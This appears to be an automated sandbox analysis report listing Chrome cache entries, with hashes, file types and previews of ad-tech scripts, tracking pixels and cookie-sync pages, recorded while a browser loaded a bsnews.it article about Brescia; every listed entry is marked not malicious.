Preview:	(()=>{var e=[],t=!1,i=2e3,n=[],o=new Promise((e=>{"loading"!==document.readyState?e():window.addEventListener("DOMContentLoaded",(()=>e()))}));function l(e,t){if("string"==typeof e)try{e=JSON.parse(e)}catch(e){return}if(t&&"function"==typeof t.postMessage)try{t.postMessage(JSON.stringify({type:"likesMessage",data:e}),"*")}catch(e){return}}function s(){const t=[];document.querySelectorAll("div.jetpack-likes-widget-unloaded").forEach((i=>{if(!(e.indexOf(i.id)>-1)&&d(i)){e.push(i.id);var n,o=/like-(post\|comment)-wrapper-(\d+)-(\d+)-(\w+)/.exec(i.id);o&&5===o.length&&(n={blog_id:o[2],width:i.width},"post"===o[1]?n.post_id=o[3]:"comment"===o[1]&&(n.comment_id=o[3]),n.obj_id=o[4],t.push(n))}})),t.length>0&&l({event:"initialBatch",requests:t},window.frames["likes-master"])}function a(){const e=document.querySelector("#likes-other-gravatars");if(e){e.style.display="none",e.setAttribute("aria-hidden","true");const t=e.__resizeHandler;t&&(window.removeEventListener("resize",t),delete e.__resizeH

Chrome Cache Entry: 828

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	65
Entropy (8bit):	4.798538966541769
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfRxYLNHW9/cn:TMVBd/RxIVgc
MD5:	F0D3EB53FB1F41DD312F1F5696C7124D
SHA1:	CF74E93D6E8F3BBC956805317FA1209AED9806A2
SHA-256:	A9179676206755FBDCAF25D2C0958CF0EF14C8A787F38C966B9DBD8013B919F0
SHA-512:	20A20C9396F2A3F85AB48FA78D001EA4C884ACEDFA3F878090A3C4EDE29EC27768DC9A77F9BBF6D6C8BC4ED6631C1D1E9F7BD3A9B31BCAE04E3B4473B9FFE5DB
Malicious:	false
Reputation:	low
URL:	"https://service.bidlab.ai/?c=v&m=tag&placementId=178&videotype=VPAID&wPlayer=535&hPlayer=301&ip=102.165.48.43&ua=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F117.0.0.0+Safari%2F537.36&domain=bsnews.it&page=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&secure=1&language=it&bidfloor=5&gdpr_consent=&gdpr=0&schain=1.0,1!movingup.it,109,1,,,!showheroes.com,1172,1,,,"
Preview:	<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0"></VAST>

Chrome Cache Entry: 829

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.292508224289396
Encrypted:	false
SSDEEP:	3:CUmExltxlSle:JAle
MD5:	55FADE2068E7503EAE8D7DDF5EB6BD09
SHA1:	317496A096D6C86486A71D4521994BCD171A6BB3
SHA-256:	E586A84D8523747F42E510D78E141015B6424CF67D612854E892A7BCEDC8EC9E
SHA-512:	A9ADB9FEEA4BC14B9C34ED17CD30F8CB36DC686E9F69A292FE65BEBC195BE4714391FD98EC7B67BFD363FBBB6089C41A0B7CAB5130B50B461748E668CAC75621
Malicious:	false
Reputation:	low
URL:	https://a.tribalfusion.com/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 830

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	414
Entropy (8bit):	3.7640183418267914
Encrypted:	false
SSDEEP:	3:YPxXdgEW2K78iROHf+jIJHJjLTayUxaaaaaaaaaaaaaaxaaaaxzfyG3MtE5MJwCi:YP5a1AyOHWjIHjqyUzz/iJw1Vxr3
MD5:	662C80E070EE574F54BE894A2315C56C
SHA1:	B05E1826B4EBA0F7C079164CC9E437B143DE6FF5
SHA-256:	E14CCAB32B0B408DC88CC10B422AB9C076247DEDDF7A002090474A457B0C984B
SHA-512:	1307E9DFBC18B2073958BD2FB971D95AE3F9B7028D3B33D81D7D4D75A70F735409C78F1EB1C94098F675F5F57E598B6662C3424F4123412E9DA18025AF4C031B
Malicious:	false
Reputation:	low
Preview:	{"/150134580/bsnews-floorad-desktop":["html",0,null,null,0,90,728,1,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGslXqzWxZnMwa10HhsoG5C0a","CNjJ9ZPKloUDFaHIKAUdUp8Cfg",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"3",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}..

Chrome Cache Entry: 831

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65386)
Category:	downloaded
Size (bytes):	449129
Entropy (8bit):	5.505869530481892
Encrypted:	false
SSDEEP:	6144:Y6azV9txewi3a2nlTJxFG19mAtd5tsRuhVZviLiW6OOu8ZXKZz:Yz1xewexFGY4Z+i7u8Z6p
MD5:	51F47AEA173730BDFC5EB9D389A912CB
SHA1:	90E5B01D8F4AE9182A6F8A4F0DD5C9BAA220AB42
SHA-256:	6741E40D6F221184F305D53CDD6DE5D97AB2A9B176439A803B53079767C02B4C
SHA-512:	DC5288AED2D28C8ABC64154001634089B1F63CE7DC92CD03C3987F58D912572BFEB5660ECF90243C9E488814F81CED472D54C8B8FAC0A1480FDBA000737615FD
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202403210101/pubads_impl.js
Preview:	(function(_){/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ ./ . . SPDX-License-Identifier: Apache-2.0 .*/ .var ba,da,ia,la,na,pa,ta,sa,ua,va,xa,ya,za,Ba,Da,Ga,Ha,Ia,Ja,Ka,Ma,Wa,db,eb,lb,nb,ob,pb,qb,sb,wb,yb,Cb,Fb,Ib,Kb,Mb,Ob,Sb,Xb,Zb,Yb,ac,bc,Ub,cc,gc,hc,jc,lc,nc,oc,pc,rc,sc,vc,xc,yc,Ac,Bc,Dc,Hc,Jc,Lc,Mc,Oc,Wc,Yc,Zc,$c,bd,gd,hd,id,jd,ed,kd,dd,cd,qd,rd,sd,vd,wd,zd,yd,Bd,Cd,Ed,Hd,Id,Kd,Ld,Qd,Ud,Wd,Vd,Zd,ae,$d,ce,be,de,fe,Jd,ke,le,me,pe,ue,qe,se,te,ve,Fe,He,Ie,Je,Ne,Oe,Pe,re,Qe,Re,Se,Ue,Ve,We,Xe,af,bf,cf,Ze,kf,$e,lf,pf,Ef,Gf,Kf,Lf,Mf,Qf,Rf,Sf,Uf,Vf,Wf,Xf,Yf,ag,eg,gg,fg,kg,mg,ng,qg,rg,Hg,Ig,Ng,Qg,Rg,Tg,Vg,Xg,Yg,ah,bh,ch,dh,eh,gh,ih,jh,lh,mh,nh,oh,ph,qh,th,vh,zh,xh,Rh,Sh,Th,Bh,Qh,Uh,Vh,ei,ci,hi,pi,Wh,yi,Ki,Li,Pi,Qi,Wi,Yi,Zi,bj,ej,oj,tj,uj,wj,xj,yj,zj,Aj,Bj,Cj,Dj,Fj,Ij,Gj,Jj,Hj,Kj,Mj,Tj,Vj,Wj,Zj,Xj,ck,dk,ek,ik,jk,pk,qk,Ck,Ik,Gk,Hk,Nk,Rk,Tk,Uk,Vk,Xk,al,hl,dl,Yk,pl,nl,ol,rl,sl,vl,Cl,Fl,Gl,L,Hl,Nl,Ll,Yl,O,$l,am,bm,dm,fm,gm,nm,om,qm,rm,wm,Dm,Fm,Hm,Im,Jm

Chrome Cache Entry: 832

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (44993)
Category:	downloaded
Size (bytes):	60536
Entropy (8bit):	5.167672495058088
Encrypted:	false
SSDEEP:	768:3dZlL3wepjB+kg68rHO3q4X1lnx8Dr+io3degoNA81F9dalrJ6QFyk97kO1FNzhP:3dL3wejgSXg+N3luBdalYQFy+7kO+tK
MD5:	78B14996A9410EB889963168EE8DDC20
SHA1:	C880FC442F763583A1C75FC05D40DEE48998E0C8
SHA-256:	3CE5A33F136AD8352221615FD89A4C8DF4E0E64F1AABCB0940258C30BB5B93F3
SHA-512:	83FF2009A763E3465B2F9454D43E981D264E0660FB8210B05CE5CD3091C97340E7333772A00BCF047EAA2F11023E48F9FD1E8AAAA381109F6FED683FC45FCF9A
Malicious:	false
Reputation:	low
URL:	https://t.seedtag.com/c/st_1.afc1b39dff1165208284.js
Preview:	(window.webpackJsonp1711523474425=window.webpackJsonp1711523474425\|\|[]).push([[1],{105:function(t,n,e){"use strict";e.d(n,"a",(function(){return o}));var r=!1,o={Promise:void 0,set useDeprecatedSynchronousErrorHandling(t){t&&(new Error).stack;r=t},get useDeprecatedSynchronousErrorHandling(){return r}}},106:function(t,n,e){"use strict";function r(t){setTimeout((function(){throw t}),0)}e.d(n,"a",(function(){return r}))},107:function(t,n,e){"use strict";e.d(n,"a",(function(){return r}));var r=function(){return"function"==typeof Symbol?Symbol("rxSubscriber"):"@@rxSubscriber_"+Math.random()}()},108:function(t,n,e){"use strict";e.d(n,"a",(function(){return i}));var r=e(56),o=e(65);function i(t,n){return new r.a((function(e){var r=new o.a,i=0;return r.add(n.schedule((function(){i!==t.length?(e.next(t[i++]),e.closed\|\|r.add(this.schedule())):e.complete()}))),r}))}},109:function(t,n,e){"use strict";e.d(n,"a",(function(){return u}));var r=e(56),o=e(149),i=e(108);function u(t,n){return n?Object(i.

Chrome Cache Entry: 833

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3669
Entropy (8bit):	5.098298981196191
Encrypted:	false
SSDEEP:	96:ft5GEg95jnzHYpPsc6/4T5LWd3VWdBWdBWdfWdxygyqpEo5jz:fHg9xzuPsc6ATdWd3VWdBWdBWdfWd0gZ
MD5:	40DE430D46A18011A001784688617C04
SHA1:	4AD9F5332B8B9D13702CDE66B916354E9FBCA38D
SHA-256:	64445F11B671C53924A9D78FE80DFB3A9B9865F3DBA059D75A4176B018F7E37D
SHA-512:	62300D3D619A269CB743E57E92720AA402A36CEBFBB5409E10FE440297B883F3365723C87FBF80D3912C6B619DAE0A740167D5E60A7D22EC582728619FFC90F0
Malicious:	false
Reputation:	low
Preview:	{"version":"20240116","show_thumbnails":true,"show_date":true,"show_context":true,"layout":"grid","headline":"Correlati","items":[{"id":9809,"url":"https:\/\/bsnews.it\/2014\/12\/18\/mobilita-sostenibile-tra-le-citta-italiane-brescia-e-la-quinta\/","url_meta":{"origin":95325,"position":0},"title":"Mobilit\u00e0 sostenibile, tra le citt\u00e0 italiane Brescia \u00e8 la quinta","author":"Redazione BsNews.it","date":"18 Dicembre 2014","format":false,"excerpt":"Nella classifica nazionale delle citt\u00e0 d'Italia con la miglior rete di mobilit\u00e0 eco sostenibile, Brescia si aggiudica il quinto posto. A pesare sulla classifica sono pi\u00f9 fattori, dal numero di parcheggi scambiatori e a pagamento, alla diffusione delle piste ciclabili fino al livello di incidentalit\u00e0 sulle strade, ma anche la\u2026","rel":"","context":"In "Cronaca"","block_context":{"text":"Cronaca","link":"https:\/\/bsnews.it\/category\/notizie\/notizie-categoria\/notizie-cronaca-brescia\/"},"img":{"alt

Chrome Cache Entry: 834

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	9432
Entropy (8bit):	7.976057589753907
Encrypted:	false
SSDEEP:	192:aO9Yh02GD2t0ZCSg/TDbNCT9VJAiUCSZ1NhIbqT/U7y:J9M02i2O8fNCHJ7vSb8Y
MD5:	7BEC1565E04EE3220529FFA42B383FAB
SHA1:	60168F830C90B0C2CAAF7925D3B2D214CBFDD758
SHA-256:	9421A8C1615ACFC23CD80B86E527345C4DEF43E04FBDF7C6A7A18BFD59A26EED
SHA-512:	269B5CB67A3115F0B48B24B0B586C0BE62D8623787B16D3196AF1B46974CFE9B064E8C95321A3AF1C04CCA7EA8E3D115ADF9D93C905F34CAD79549F47BA38558
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=324%2C160&ssl=1
Preview:	RIFF.$..WEBPVP8 .$......D...>m2.G.".#.s\|....@...~n.z.Kw.........O...#..W...u_...y.o....._..._._t........?.....(.......l..............o.....{!f.._...z..../.j.p.....O.B?-...{...~y...G.../...../.......93};..._.....?0>..y.5.......D...~.x..P............&....pm<BG.P......C....W...i../.2......#=.1LS;e.a..q.'.<....... ..uo..........k..;lJ/.+b0..~s.H.%.{l....S...<..h.g..r$..\|.:dy.2{z...4h..\.M.eid..L.B..Z..pgT).\|...J}..J....ce....F....I....&.}(.r..zi..W++!E.I.V{].[Iu....j..J......&..3...d+....K.3m..a.....A.S..m.7H.'M..)j......;[UO.4.49......8..\|f."SS..L.2J...k...x...H..D.U....\...!...b~di.....#XM..m.^....E..>.y..NO.\|T..`....{.X.z05.^J.BJ..g;..J..e...........'Gjy.48.....l...w.n.d.!.Li.^J.C.Z`.yQ.j.....8}.Ec..........v..<...\7...O...'....@.m..7.Uq..0.c/2.5.....P.y...~..^..J....s$/.E..7..f......\|O......64}..5C....9E...?./'Z..3...C.H..Mp_.7......)..&.i...Y.7.`..K.......rf..s......?6y.q.,.$...e..HS.tu......e...3FK.0.l.C.=.~.:z.%.Eg..N..ym...[....<.fa.-.....-

Chrome Cache Entry: 835

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537082476&val=TjMxskYIXe9LRDfaNGZeQmalMCs
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 836

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4873), with no line terminators
Category:	downloaded
Size (bytes):	4879
Entropy (8bit):	5.17402304145399
Encrypted:	false
SSDEEP:	96:7y8KaRFgfRFgtc0rQRFmychP0BKKaRFgd9sRFgtc0rQRFmr7ED514QGM:AaRuR/0rQRTcd0BpaRm9sR/0rQRJzb
MD5:	3283213E76FFAABF8606E4CB40F7F0D3
SHA1:	14921CBEAD60D98CA8D5675190B7A2462E2F758B
SHA-256:	92614B25244F5831FFA83091FC94526566C522045BBF7E66C42E60A10C607225
SHA-512:	B918D36ECBBC25AF4E14D7F4AB54933EF25D85A4FC78E0BC9A3449D870C262269B8E9E40CC98E13D5EAF9D0EA438284F464FAB5170AD924DF83727DC7122AD02
Malicious:	false
Reputation:	low
URL:	https://onesignal.com/api/v1/sync/311012f7-94f1-418c-abe0-3336ba01758e/web?callback=__jp0
Preview:	__jp0({"success":true,"app_id":"311012f7-94f1-418c-abe0-3336ba01758e","version":2,"features":{"restrict_origin":{"enable":false},"cookie_sync":{"enable":false},"metrics":{"enable":true,"mixpanel_reporting_token":"7c2582e45a6ecf1501aa3ca7887f3673"},"enable_on_session":false,"web_on_focus_enabled":true,"session_threshold":30},"config":{"prompts":{"slidedown":{"enabled":true,"autoPrompt":true,"acceptButton":"S. GRAZIE","cancelButton":"NO","actionMessage":"Vuoi ricevere gli ultimi aggiornamenti di BsNews.it su Brescia e provincia? E' gratis!","customizeTextEnabled":true,"prompts":[{"enabled":true,"text":{"customizationEnabled":true,"acceptButton":"S. GRAZIE","cancelButton":"NO","actionMessage":"Vuoi ricevere gli ultimi aggiornamenti di BsNews.it su Brescia e provincia? E' gratis!","confirmMessage":null},"type":"push","delay":{"pageViews":null,"timeDelay":null},"autoPrompt":true,"icon":"https://www.filepicker.io/api/file/zZcIrfbTvvyOYUqKAGOA"}]},"fullscreen":{"title":"Esempio notizia","ca

Chrome Cache Entry: 837

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (348)
Category:	downloaded
Size (bytes):	2486
Entropy (8bit):	4.975310182970908
Encrypted:	false
SSDEEP:	48:qgfQCDhll5xuPgTXCeybFuryI7hAu3obFuA8igBQWbz:/f5lCUybFuuI9j3obFuBi/Wbz
MD5:	F9D731B21BED080AA11E4B71195866F9
SHA1:	876AD83747B69DF3E7586D8033B776F15D37ED9E
SHA-256:	7D2CC7F9CD1CBB4079AF53D18FD50BC3E8D5E33FBC209A919B1A030D7458410E
SHA-512:	340A7C501645E9D721C595279C6347A02D666CF0758FC073F2A3AC49EB6F73967A3FFAA59CB0A9D85D645630F958C82ED8712446E33B1F17A93E3BA68C71BA96
Malicious:	false
Reputation:	low
URL:	https://onetag-sys.com/usync/?pubId=69f48c2160c8113&gdpr=0&gdpr_consent=
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "https://pixel.rubiconproject.com/tap.php?v=223352&nid=4584&put=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://x.bidswitch.net/sync?ssp=onetag&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://cs.yellowblue.io/cs?aid=11581&id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI";. var syncIframes = "";.. var GDPR_APPLIES = "gdpr=";. var GDPR = "gdpr_consent=";. var US_PRIVACY = "us_privacy=";... var params = location.search.substring(1);. var consentString = "";. var usPrivacy = "";. var gdprAppliesValue = "1";.. try {.. var index = params.indexOf(GDPR);. if (index >= 0) {. consentString = params.substring(index + GDPR.length).split("&")[0];. }.. index = params.indexOf(GDPR_APPLIES);. if (index >= 0) {. var tmp = p

Chrome Cache Entry: 838

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1727
Entropy (8bit):	5.488106902489825
Encrypted:	false
SSDEEP:	48:GpT0xxkprqqlwO4FNkLv/zoMXR7EzM9iZB:I0xypGqlwjNVnzM9iZB
MD5:	0C3CB259AED87F979D9AEA180C87C5D0
SHA1:	187B223813408AADE09850B474C41E8CD0868534
SHA-256:	71B562AFD7B578B815AF6FBED446EE7136D40BA61C97D679A41C25BCCFDFFB3E
SHA-512:	DB2D13D98443E8B768E544A90BC4AA4C62944D9F3A459FA9CF5B7E6E9B5B78AD53651F3D294A3402E5508C82CBBA7D0265B23061CEC68FDF9C343291E2B191DD
Malicious:	false
Reputation:	low
URL:	https://sync.richaudience.com/b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=56538560&rd=1
Preview:	<!DOCTYPE html>...<html lang="en">...<head>...<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />...<script>...function loadSyncPixel(pixelUrl){....var avImgSync = document.createElement('img');....avImgSync.width = "1";....avImgSync.height = "1";....avImgSync.style.width = "0px";....avImgSync.style.height = "0px";....avImgSync.style.cssFloat = "left";....avImgSync.src = pixelUrl;....document.body.appendChild(avImgSync);....}......function loadSyncScript(pixelUrl){....var raSrcSync = document.createElement("script");....raSrcSync.src = pixelUrl;....raSrcSync.type = "text/javascript";....document.body.appendChild(raSrcSync);.....}......function loadSyncIframe(pixelUrl){....var raIfSync = document.createElement("iframe");....raIfSync.src = pixelUrl;....raIfSync.setAttribute('frameborder','0');....raIfSync.setAttribute('scrolling','no');....raIfSync.setAttribute('width','0');....raIfSync.setAttribute('height','0');....document.body.appendChild(raIfSync);.....}....</scrip

Chrome Cache Entry: 839

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (633)
Category:	downloaded
Size (bytes):	652
Entropy (8bit):	5.347054153743639
Encrypted:	false
SSDEEP:	12:U7Dlf8IBbRT79+THZE2bvbUf3+5Y2Pm3YAyOHTRM+xFxT/yfCYKO+kFl+MHfVfCW:WDlf8Eg3bT83Um3bTTlSKO+kFltHnKby
MD5:	59A08189B1F7C960710B05D65EBFD64C
SHA1:	4800BEB4119A71FA93133B25E17F128EA4FC5273
SHA-256:	DD1C4724EE9B0CC9BDCCA3B897597963D9B549D57CB6DEAAD641CEFE285AF047
SHA-512:	F69AB2522E28AEA2771F6DFE6102A829CF67FAB4BDB142A41E98A6776B51398CBDA46708FF07E2ADDBCFC904A2C4FA6ECE1608CC01860DFA36EE932A6328393D
Malicious:	false
Reputation:	low
URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=1&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22bsnews-floorad-desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%7D%7D
Preview:	/* aax response */.apstag.bids({"slots":[{"targeting":["amzniid","amznp","amznsz","amznbid","amznactt"],"fif":"1","amzniid":"JP12Aem8wMvSjvtJQPXQSzsAAAGOhEHcTQEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICCsGVPB","size":"728x90","crid":"2243394","meta":["slotID","mediaType","size"],"amznactt":"OPEN","amznsz":"728x90","slotID":"bsnews-floorad-desktop","amznp":"1arrojk","mediaType":"d","amznbid":"2q251c"}],"host":"https://aax-us-east.amazon-adsystem.com","cfe":true,"ev":true,"cfn":"bao-csm/direct/csm_othersv5.js","status":"ok","cb":"1","cmp":"https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift"})

Chrome Cache Entry: 840

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=540245193&val=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 841

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=45&external_user_id=CAESEDteeIW_CFkcQZAbNNYlZxc&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 842

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 728 x 90
Category:	dropped
Size (bytes):	49746
Entropy (8bit):	7.876047092808563
Encrypted:	false
SSDEEP:	1536:F5wvIP+6/jhAka5pZZV/Zn7jd0XZHhKySFc:F5+IP+wjhxa5pZZP10X/KySu
MD5:	9F015D59B614354E327AD6B5D98A88D3
SHA1:	60E659C9A8B228E392AAE6527E2D3F91BB956A52
SHA-256:	C25B6307BD32E023C9DF6717674EF47544B34AB68418E3CDF36CF910663C7C2D
SHA-512:	D5A3325906A8215043D4827555B9E19A5AB76E643B351E18793AF4AAE079F58CFD5BC6B2CE082A8A83C7468AAFEF44979D0B70034480F4F2FA076980A00DF01C
Malicious:	false
Reputation:	low
Preview:	GIF89a..Z....,q......I.......Ws..,.......Gei...s......g\\...K.......o........'...........H))x......K..1...9Z.Pn.....iX...+dr.d}...Bz..yfX...SI...Ul.I5.............w`.8....\u....... t.T.Jt.......om.v.Wn.JsB;...d...........bU.2..#.[F...U..A..p.A`..............8+..,.....fM:>.Lf......:ES......".....&.<~<~..0Cna....4.................................jG.~~....Tp......!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:74c85442-d16c-441d-a59d-457ac629d7ca" xmpMM:DocumentID="xmp.did:AC9ED58DCF1511EEBF40F59D33716E8B" xmpMM:InstanceID="xmp.iid:A

Chrome Cache Entry: 843

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 844

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 845

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.5982092635441285
Encrypted:	false
SSDEEP:	3:PouVWJhquHbx9UFHKa:h4hqIF2t
MD5:	75EA9114AE66E70ECA74DB870D86E3E3
